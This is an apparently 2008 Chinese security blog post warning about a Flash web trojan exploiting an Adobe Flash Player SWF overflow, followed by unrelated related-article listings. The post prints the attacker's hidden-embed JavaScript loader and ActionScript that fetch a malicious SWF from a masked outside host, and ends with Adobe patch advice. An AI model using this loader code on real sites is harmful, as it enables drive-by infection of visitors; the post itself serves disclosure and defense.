FLASH网马悄然现身互联网

为什么苹果当年封杀Flash?现在却能用FlashViewer看SWF文件的技术揭秘 本文深度解析了苹果当年封杀Flash的技术与商业原因,并揭秘了如今FlashViewer应用能在App Store上架的技术逻辑。核心在于技术环境已从危险的浏览器插件时代,转变为安全可控的独立沙盒应用模式。FlashViewer作为本地SWF文件播放器,不触及苹果的安全与生态红线,体现了平台规则在安全前提下的灵活性与生态包容性。 阅读详情
发布日期:2008-5-26
最后更新日期:2008-5-26   17:37(GMT)

最近几天拦截到利用Adobe Flash Player SWF文件漏洞的网马,该网马通过网页加载一个正常的FLASH文件,再在那个FLASH文件里调用嵌入恶意构造的FLASH文件,这时会导致溢出,从而可能执行任意指令。以下为调用页内容:

<script>
window.onerror=function(){return true;}
function init(){window.status=”";}window.onload = init;
if(document.cookie.indexOf(”play=”)==-1){
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie=”play=Yes;path=/;expires=”+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf(”msie”)>0)
{
document.write(’<object classid=”clsid:d27cdb6e-ae6d-11cf-96b8-444553540000″ codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0″ width=”0″ height=”0″ align=”middle”>’);
document.write(’<param name=”allowScriptAccess” value=”sameDomain”/>’);
document.write(’<param name=”movie” value=”http://www.XXX.cn/flash/XX.swf”/>’);
document.write(’<param name=”quality” value=”high”/>’);
document.write(’<param name=”bgcolor” value=”#ffffff”/>’);
document.write(’<embed src=”http://www.XXX.cn/flash/XX.swf” mce_src=”http://www.XXX.cn/flash/XX.swf”/>’);
document.write(’</object>’);
}else
{document.write(”<EMBED src=http://www.XXX.cn/flash/XX.swf width=0 height=0>”);}}
</script>  以下为正常的FLASH文件使用的脚本:

// Action script…// [Action in Frame 1]
var flashVersion =/hxversion;
loadMovie(”http://www.XXX.cn/flash/” + flashVersion + “mal_swf.swf”, _root);
stop();

该恶意FLASH部分内容如下:

建议:
厂商补丁: Adobe
—–
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://www.adobe.com/go/getflash

从Corpse Craft到Whirled.club:揭秘Flash游戏背后的开发者故事 本文通过《Corpse Craft》这款Flash游戏,追溯了其背后的开发者Three Rings Design公司及其打造的虚拟社区Whirled.club。文章揭示了Flash时代独立开发者如何依托平台进行创作与分发,探讨了“游戏即社区”的运营模式,并分析了该技术生态兴衰背后的行业启示与数字遗产问题。 阅读详情

相关推荐

从Flash到WebGL:微博反爬虫技术十年演进史与未来猜想

本文回顾了微博反爬虫技术从Flash到WebGL的十年演进历程,详细解析了浏览器指纹、RID生成原理等关键技术。文章探讨了反爬虫技术的代际变化、成本经济学及隐私法规影响,并对未来五年基于生物行为验证、联邦学习和WebAssembly的技术趋势进行了前瞻性分析。

weixin_33737134的博客 106

该网马利用了Flash插件

  nod6安全中心木马疫情播报  6月1日新闻,nod6安全中心昨天共截获最新挂马网址30347个,当日nod6安全卫士为用户拦阻了来自1679552个恶意网址的总共17336578次挂马攻击。09年高考邻近,高校在成为考生和家长关注的同时,高校网站也因此吸引了黑客的注意。光是昨日,就有北京大学、西安交通大学、中国政法大学、天津财经大学、华中农业大学、北京林业大学、中国地质大学、东华大学

nod32id的专栏 1612

《R语言实战》第八章之回归分析图形

回归分析图形 回归分析分为简单回归与复杂回归 1 : 简单线性回归即:模型中只包含一个因变量和一个自变量,有时候也会包含多项式, 这个图形描述了身高与体重的线性关系,这也是一个多项式图形 2:当我们的预测变量(自变量)不止一个时,就属于多元线性回归,而且多元线性回归中也可以包含多项式以及交互项 (1)在进行多远回归分析之前可以先描述变量之间的相关关系 上图为一个散点图矩阵,描述了五个变量之间的相关关系,我们可以通过非主对角线的散点图来查看两个变量之间的关系。 多元线性回归简单地就是OLS回归,通过lm和

Strawberry_Ya的博客 1836

Rust重写Flash播放器:Ruffle如何用现代技术拯救互联网遗产

当Adobe在2020年宣布终止Flash Player支持时,互联网上数以百万计的Flash内容——从教育课件到经典游戏——面临着消失的危机。然而,一个名为Ruffle的开源项目正在悄然改变这一局面。这个用Rust编写的Flash Player模拟器不仅成功复现了Flash的核心功能,更通过现代技术栈为这些数字遗产注入了新生。 [![Ruffle项目Logo](https://raw.gitc

gitblog_00601的博客 755

第3章 zynq MII转GMII的配置和EMIO UART0的配置

本文介绍了在Vivado工程中实现MII转GMII接口适配的过程,同时配置EMIO UART0接口。主要内容包括:修改PS IP核添加UART0接口,使用concat IP核进行信号整合,调整GMII信号引脚连接,添加约束文件定义引脚映射,并最终生成bit流文件。通过详细的操作截图和TCL约束代码,展示了从硬件配置到生成可编程文件的完整流程,为Zynq平台开发提供了实用参考。

qq_36517072的博客 903

植物叶绿体基因组分析全攻略:从共线性到密码子偏好性

本文全面解析植物叶绿体基因组分析流程,从共线性分析到密码子偏好性研究。详细介绍了叶绿体基因组结构特征、测序数据获取与质量控制、基因组组装与注释方法,以及比较基因组学和进化分析技术。特别关注IR区边界变异分析和选择压力评估,为植物系统发育研究和物种鉴定提供实用指南。

weixin_28475533的博客 222

FLASH存储技术:从USB到SSD,这些日常设备背后的秘密

本文深入解析FLASH存储技术,从USB到SSD的广泛应用,揭示其背后的科学原理。探讨NAND与NOR两种主要类型的特性差异,以及FLASH存储的物理原理和三大基本操作。了解现代FLASH设备的优化技术,如磨损均衡和坏块管理,帮助用户更好地使用和维护存储设备。

html8的博客 634

minist手写数字的识别代码复现(pytorch 版本)

电脑系统:Windows 10语言环境:Python 3.8.18编译器:jupyter notebook深度学习环境:torch == 1.13.1+cu116显卡及显存: Tesla V100-PCIE-32GB卷积神经网络(Convolutional Neural Network,CNN或ConvNet)是一种 具有局部连接、权重共享等特性的深层前馈神经网络. 目前的卷积神经网络一般是由卷积层、汇聚层和全连接层交叉堆叠而成的 前馈神经网络。

2202_75521293的博客 2620

如何让经典Flash游戏重获新生:Ruffle模拟器完整指南

还记得那些曾经在浏览器中闪耀的Flash游戏吗?当Adobe在2020年宣布终止Flash支持时,无数经典游戏、教育课件和互动演示仿佛一夜之间被冰封。今天,一款名为Ruffle的开源项目正在悄然改变这一切——它用Rust语言重写了完整的Flash Player模拟器,让这些数字遗产在现代设备上重新焕发生机。 ## 价值定位:为什么你需要关注Ruffle Flash内容的消失不仅仅是技术问题,更

gitblog_00431的博客 516

XXL-Job 分布式定时任务

XXL-JOB是一款轻量级分布式定时任务调度框架,采用调度中心与执行器分离架构,解决单机任务宕机、重复执行等问题。核心模块包括调度中心(管理任务配置、触发调度)和执行器(执行任务逻辑),支持集群部署保证高可用。框架提供丰富的任务触发规则、路由策略、阻塞策略及完善的运维能力,适用于多种业务场景如数据同步、定时推送等。安装时需准备MySQL数据库并初始化表结构,通过Docker部署调度中心服务。相比其他定时框架,XXL-JOB具有轻量化、可视化等优势,是中小企业的首选方案。

郭宝的博客 703

cadence17.4和16.6同时安装无法使用的问题

经过对报错的问题分析,发现还是17.4的lic文件和16.6的不一样,16.6的版本总是无法找到自己对应的lic文件。卸载了,重新单独安装16.6,这里就是正确的。包括使用这些工具去修复这些问题,都无法接近。已经放弃了,使用哪个版本就安装 哪个版本。这个也无法解决问题。

D_Katter的博客 2326

终极Flash复活方案:Ruffle Rust模拟器完全指南

还记得那些年的Flash小游戏吗?随着Adobe停止支持,无数经典内容面临消失的危机。但现在,一个名为Ruffle的开源项目正在悄然改变这一切——它用现代Rust语言重写了Flash Player,让经典内容在新时代的设备上重获新生!🎮 Ruffle不仅仅是一个简单的模拟器,它是一个完整的Flash Player替代方案,支持ActionScript 1/2/3,能够在桌面和Web平台上完美运

gitblog_00187的博客 1048

KingSCADA实现按钮点击效果

哈喽,你好啊,我是雷工!在做SCADA项目的时候,按钮是不可缺少的功能,但软件自带的按钮太丑,已经无法满足现如今客户对界面美观度的要求。这时候就需要UI小姐姐设计美观大气的SCADA界面,但UI设计的按钮切图放到程序中只是图片素材,当添加了按钮功能时,虽然能实现按钮功能,但没有任何点击效果;当遇到有需要连锁条件才能点击的按钮时,操作员无法区分是有连锁点击了没反应,还是系统界面卡死了导致的没点击成功,这时候有点击效果就能很好的区分这种问题。本篇介绍一种实现按钮点击效果的方法,以下为操作过程。

做有价值的事,积累有价值的笔记! 2766

Ruffle:如何用Rust语言让2000万Flash内容重获新生?

当Adobe在2020年正式宣布停止支持Flash时,超过2000万个.swf文件面临着成为数字废墟的命运。这些文件承载着整整一代人的互联网记忆——从早期的网页动画到经典Flash游戏,从交互式教育课件到企业培训内容。就在所有人以为Flash时代即将彻底终结时,一个名为Ruffle的开源项目悄然诞生,它用Rust语言重新点燃了这些数字遗产的生命之火。 ## 技术挑战:Flash的"数字复活术"有

gitblog_00097的博客 664

别再无脑调打码平台了!聊聊 ddddocr 在爬虫验证码识别中的真实边界

ddddocr是国产开源社区的优秀成果,它大幅降低了验证码识别的入门门槛。工具的自由不等于工程的自由。真正的能力不在于“会不会调库”,而在于能否准确判断工具的适用边界、构建鲁棒的容错机制、并在成本与效果之间做出理性权衡。下次当你准备在爬虫中加入验证码识别时,不妨先问自己:这个站点的验证码类型是否在ddddocr的能力圈内?我的预处理是否针对该站点做过专项调试?我的失败重试和监控机制是否完备?如果三个问题都能肯定回答,那么ddddocr就是你的利器;如果有任何一个犹豫,请先补齐短板再上路。评论区交流:你用。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1284

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Ruffle:基于Rust的Flash模拟器如何重塑数字文化遗产保护

在数字技术快速迭代的今天,Flash内容的消失危机正悄然逼近。当主流浏览器纷纷放弃对Adobe Flash Player的支持,无数经典游戏、教育资源和交互式内容面临着永久性丢失的风险。Ruffle项目应运而生,这款基于Rust语言构建的Flash模拟器不仅提供了技术解决方案,更成为连接数字过去与未来的桥梁。本文将深入探讨Ruffle的技术架构、实现原理及其在数字文化遗产保护中的独特价值。 ##

gitblog_00301的博客 439

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

HTML5 & Flash 现状及未来预测

2010年4月30日,乔布斯宣布iOS弃Flash,采用HTML5的消息传出后,微软也力挺乔布斯,称Flash落后。乔布斯封杀Flash的理由是:Flash不适合触摸设备,技术封闭。而HTML5可以通过代码实现Flash视频播放技术,且支持Canvas画布功能。 消息一出,不止震惊了业界人士,同样还波及到普通用户。2010年Flash Player的市场份额将近98%,普及率高,受众广。

难得溜达到此 2543

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

当Flash成为数字遗产:JPEXS Free Flash Decompiler如何拯救你的SWF记忆

你是否曾面对过这样的困境?多年前精心制作的Flash动画文件,如今却无法打开;曾经引以为傲的互动作品,随着Flash技术的落幕而面临消失的危机。在数字时代的快速更迭中,那些承载着无数创意和记忆的SWF文件,正悄然成为被遗忘的数字遗产。今天,我们将一起探索如何用JPEXS Free Flash Decompiler(简称FFDec)这个开源神器,重新唤醒这些沉睡的数字记忆,让Flash内容重获新生。

gitblog_01101的博客 251

RIA技术

    现在一场新的技术战争已经悄然在RIA领域打响。RIA(Rich Internet Applications)富互联网应用,这个概念最早由Macromedia 在2002年提出,RIA技术使系统的界面更接近传统应用程序: 比web有更丰富展现性, 更好的操作性等。同时, RIA 还具有web的优点。 特性比较   传统WEB 传统应用程

梦想MVP 1077

品牌LOGO识别监测:GLM-4.6V-Flash-WEB赋能市场洞察

借助GLM-4.6V-Flash-WEB多模态大模型,企业可高效实现品牌LOGO的零样本识别与上下文理解,无需微调即可准确捕捉图像中的品牌曝光、竞品动态与违规使用情况。模型轻量级设计支持消费级显卡部署,结合自然语言输出与Prompt灵活调控,让市场洞察从技术任务变为业务驱动的智能分析。

weixin_35756373的博客 1084

Krita AI Diffusion:在 Krita 里做本地 AI 生图与选区重绘,5 步跑通

你刚在 Krita 里画完一层,想让 AI 帮忙改一下,结果得跳到网页版:贴提示词、排队、下载、再贴回画布,上下文全断了。krita-ai-diffusion 就是为了解决这件事:它是 Krita 的 Python 插件,把 Krita AI 生图服务跑在你自己的机器上(也可以连云端 GPU),文生图、选区重绘、按强度精炼、放大到 4K,全部在画布旁边完成,结果以图层形式落回你的文件里。 适合谁

gitblog_00606的博客 148

如何让消失的Flash游戏世界在数字时代重获新生?

当主流浏览器纷纷抛弃Flash支持时,那些承载着无数人童年记忆的4399小游戏、植物大战僵尸、黄金矿工等经典Flash游戏,是否就此成为数字世界的"失落文明"?CefFlashBrowser正是为解决这一技术断层而生,它不仅仅是一个浏览器,更是连接过去与现在的**数字时光机**,让那些看似消失的Flash内容重新焕发生机。 ## 🔮 核心价值三部曲:从技术兼容到情感延续 ### 第一部:技术

gitblog_00429的博客 412

GLM-4.6V-Flash-WEB模型能否识别动物情绪状态?

GLM-4.6V-Flash-WEB虽非专业工具,却能通过多模态推理‘类人’解读猫狗姿态与表情,结合常识判断紧张、兴奋等状态。其轻量设计支持快速部署,适合宠物社交等场景,但对物种有限且依赖提示词设计,需谨慎用于非关键应用。

weixin_42576467的博客 651

GLM-4.6V-Flash-WEB模型对台风眼结构图像的气象学解析

GLM-4.6V-Flash-WEB模型结合视觉与语言能力,可快速识别并解读台风卫星图像中的台风眼结构,实现从形态分析到发展阶段判断的智能推理,具备零样本迁移能力和工程化部署优势,已在气象监测中展现高效辅助价值。

weixin_42453228的博客 733

社交媒体内容治理:基于GLM-4.6V-Flash-WEB的内容审核解决方案

GLM-4.6V-Flash-WEB以轻量化设计实现高效图文内容审核,支持单卡GPU实时推理,有效识别跨模态违规内容。通过提示工程与系统集成,可在社交平台中构建具备语义理解能力的智能初筛机制,平衡安全、性能与可解释性,为内容治理提供落地可行的解决方案。

weixin_33628677的博客 726

useDynamicList 动态列表 Hook 实战指南:唯一 key 生成、增删改查与 antd Form 表单联动

`useDynamicList` 是 ahooks(当前仓库 `packages/hooks` 源码,版本 3.9.7)中专门用于管理动态列表状态并自动为每个元素生成唯一 key 的 Hook,广泛适用于动态表单、可增删行表格、可拖拽排序列表等场景。本文以 [index.zh-CN.md](https://link.gitcode.com/i/91dd0a533f0017991331bf584f1

gitblog_00819的博客 210
上一篇: xp下双开3389源码
下一篇: 批处理的api–WMIC学习体会
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值